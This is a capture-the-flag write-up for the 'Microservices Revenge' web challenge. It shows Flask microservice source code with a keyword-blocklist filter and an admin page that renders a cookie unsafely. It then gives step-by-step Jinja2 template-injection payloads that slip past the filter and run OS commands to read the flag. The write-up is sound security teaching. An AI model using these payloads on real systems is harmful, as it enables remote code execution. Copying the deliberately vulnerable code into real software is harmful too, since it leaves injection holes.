siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Microservices Revenge

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

I’ve upgraded the security of this website and added a new feature. Can you still break it?

http://34.124.157.94:5005/

Enumeration

Home page:

In here, it’s pretty much the same as the “Microservices” challenge.

We can go to the admin page, home page via GET parameter service.

In this challenge, we can download a file:

┌[siunam♥earth]-(~/ctf/Grey-Cat-The-Flag-2023-Qualifiers/Web/Microservices-Revenge)-[2023.05.21|12:17:05(HKT)]
└> file dist.zip 
dist.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥earth]-(~/ctf/Grey-Cat-The-Flag-2023-Qualifiers/Web/Microservices-Revenge)-[2023.05.21|12:17:07(HKT)]
└> unzip dist.zip 
Archive:  dist.zip
  inflating: admin_page/app.py       
  inflating: admin_page/dockerfile   
 extracting: admin_page/requirements.txt  
  inflating: docker-compose.yml      
  inflating: flag_page/app.py        
  inflating: flag_page/dockerfile    
 extracting: flag_page/requirements.txt  
  inflating: gateway/app.py          
  inflating: gateway/constant.py     
  inflating: gateway/dockerfile      
 extracting: gateway/requirements.txt  
  inflating: homepage/app.py         
  inflating: homepage/dockerfile     
 extracting: homepage/requirements.txt  
   creating: homepage/templates/
  inflating: homepage/templates/base.html  
  inflating: homepage/templates/index.html  

docker-compose.yml:

version: '3.7'

x-common-variables: &common-variables
   FLAG: grey{fake_flag}


services:
  admin:
    build: ./admin_page
    container_name: radminpage
    networks:
      - backend

  homepage:
    build: ./homepage
    container_name: rhomepage
    networks:
      - backend

  gateway:
    build: ./gateway
    container_name: rgateway
    ports:
      - 5005:80
    networks:
      - backend

  flag:
    build: ./flag_page
    container_name: rflagpage
    environment:
       <<: *common-variables
    networks:
      - backend

networks:
  backend: {}

In here, we can see there are 4 services: admin, homepage, gateway, flag.

To read the flag, we could use the /flag route in flag service: (From /flag_page/app.py)

from flask import Flask, Response, jsonify
import os

app = Flask(__name__)
app.secret_key = os.environ.get("SECRET_KEY", os.urandom(512).hex())
FLAG = os.environ.get("FLAG", "greyctf{fake_flag}")


@app.route("/")
def index() -> Response:
    """Main page of flag service"""
    # Users can't see this anyways so there is no need to beautify it
    # TODO Create html for the page
    return jsonify({"message": "Welcome to the homepage"})


@app.route("/flag")
def flag() -> Response:
    """Flag endpoint for the service"""
    return jsonify({"message": f"This is the flag: {FLAG}"})


@app.route("/construction")
def construction() -> Response:
    return jsonify({"message": "The webpage is still under construction"})

To access the flag service, we can provide GET parameter service with value flagpage: (From /gateway/app.py)

@app.route("/", methods=["GET"])
def route_traffic() -> Response:
    """Route the traffic to upstream"""
    microservice = request.args.get("service", "homepage")

    route = routes.get(microservice, None)
    if route is None:
        return abort(404)

    # My WAF
    if is_sus(request.args.to_dict(), request.cookies.to_dict()):
        return Response("Why u attacking me???\nGlad This WAF is working!", 400)

    # Fetch the required page with arguments appended
    with Session() as s:
        for k, v in request.cookies.items():
            s.cookies.set(k, v)
        res = s.get(route, params={k: v for k, v in request.args.items()})
        headers = [
            (k, v)
            for k, v in res.raw.headers.items()
            if k.lower() not in excluded_headers
        ]

    return Response(res.content.decode(), res.status_code, headers)

/gateway/app.py:

routes = {
    "adminpage": "http://radminpage",
    "homepage": "http://rhomepage",
    "flagpage": "http://rflagpage/construction",
}
excluded_headers = [
    "content-encoding",
    "content-length",
    "transfer-encoding",
    "connection",
]

However, when we go to /?service=flagpage, it’ll go to the /construction route:

Then, I noticed that there’s a is_sus() function:

# Extra protection for my page.
banned_chars = {
    "\\",
    "_",
    "'",
    "%25",
    "self",
    "config",
    "exec",
    "class",
    "eval",
    "get",
}


def is_sus(microservice: str, cookies: dict) -> bool:
    """Check if the arguments are sus"""
    acc = [val for val in cookies.values()]
    acc.append(microservice)
    for word in acc:
        for char in word:
            if char in banned_chars:
                return True
    return False

This function will check the cookie’s values contain any banned_chars.

Based on my experience, the filter config, class is trying to prevent Server-Side Template Injection (SSTI)!

So, let’s find SSTI vulnerability!

In homepage service, it has 1 route:

@app.route("/")
def homepage() -> Response:
    """The homepage for the app"""
    cookie = request.cookies.get("cookie", "")

    # Render normal page
    response = make_response(render_template("index.html", user=cookie))
    response.set_cookie("cookie", cookie if len(cookie) > 0 else "user")
    return response

This route will take cookie cookie’s value, and render index.html template:

{% extends 'base.html' %}

{% block alert %}
<div class="alert alert-danger" role="alert">
  This website is under construction, only admins allowed.
</div>
{% endblock %}

{% block content %}
<h1>Hi {{user | safe}}</h1>
<h2>You are not an admin</h2>
<p>I am still constructing my microservices site. Please come back later</p>
{% endblock %}

As you can see, the user variable is filtered with the safe filter.

Now, don’t be confused, the safe doesn’t mean it’s really “safe”! The safe filter means it’s safe to render the variable directly.

Let’s try SSTI in service homepage!

Nope.

Although it’s vulnerable to Reflected Cross-Site Scripting (XSS), it’s not useful for this challenge:

How about the admin service?

In /admin_page/app.py, we see this:

from flask import Flask, Response, render_template_string, request

app = Flask(__name__)


@app.get("/")
def index() -> Response:
    """
    The base service for admin site
    """
    user = request.cookies.get("user", "user")

    # Currently Work in Progress
    return render_template_string(
        f"Sorry {user}, the admin page is currently not open."
    )

Route / will get our cookie user’s value, and render it without any sanitization, escaping!

That being said, the admin service is vulnerable to SSTI!

Nice!

Exploitation

Armed with above information, we could try to gain Remote Code Execution (RCE) via SSTI!

However, we have to bypass the following filter:

# Extra protection for my page.
banned_chars = {
    "\\",
    "_",
    "'",
    "%25",
    "self",
    "config",
    "exec",
    "class",
    "eval",
    "get",
}

Note: %25 in URL encoding is %. However, the web application won’t encode our input when it’s checking the banned_chars.

Example of when our payload contains the above characters:

According to HackTricks, we can bypass the filter via:

request|attr(request.args.c) #Send a param like "?c=__class__

Let’s do this!

Since request object instance is not filtered, we can use that to gain RCE:

First, we’ll pipe that request object to attr(request.args.<GET_Parameter>). The attr() is to get an attribute of an object:

GET /?service=adminpage&a=application HTTP/1.1
Cookie: user={{request|attr(request.args.a)}}

We now got the Request.application method!

Then, we can use the __globals__ attribute to find all the function’s global variables:

GET /?service=adminpage&a=application&b=__globals__ HTTP/1.1
Cookie: user={{request|attr(request.args.a)|attr(request.args.b)}}

In here, we see there’s a __builtins__ key. The value of __builtins__ is normally either this module or the value of this module’s __dict__ attribute.

Next, we need to get the __builtins__ key.

However, we can’t just use request|attr(request.args.a)|attr(request.args.b){request.args.c}, it’ll fail.

To solve that problem, we can use the __getitem__ method. This method is used to get an item from the invoked instances’ attribute:

GET /?service=adminpage&a=application&b=__globals__&c=__getitem__ HTTP/1.1
Cookie: user={{request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)}}

We have the __getitem__ method! Let’s get the __builtins__ attribute!

GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__ HTTP/1.1
Cookie: user={{request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)}}

After getting the __builtins__ attribute, we can now use __import__ method to import any module!! Let’s import the os module to execute OS command!

GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={{request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g)}}

Nice!! Now that we dynamically imported the os module, we can now invoke it’s methods to execute OS command.

But, we can’t just use the following payload to invoke os module method:

request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g).(request.args.h)

In Jinja2, we can assign variables via {% set <variable_name> = <value> %}.

So, let’s assign the os module to os variable!

GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={% set os = request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g) %} {{os}}

Now we can invoke os module’s methods!!

To execute OS command, we can use the popen() method, and read() it:

GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={% set os = request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g) %} {{os.popen("id").read()}}

Yes!! We got RCE!!

Let’s read the flag:

GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={% set os = request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g) %} {{os.popen("ls").read()}}

GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={% set os = request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g) %} {{os.popen("cat flag.txt").read()}}

Conclusion

What we’ve learned:

  1. Exploiting RCE Via SSTI With Filter Bypass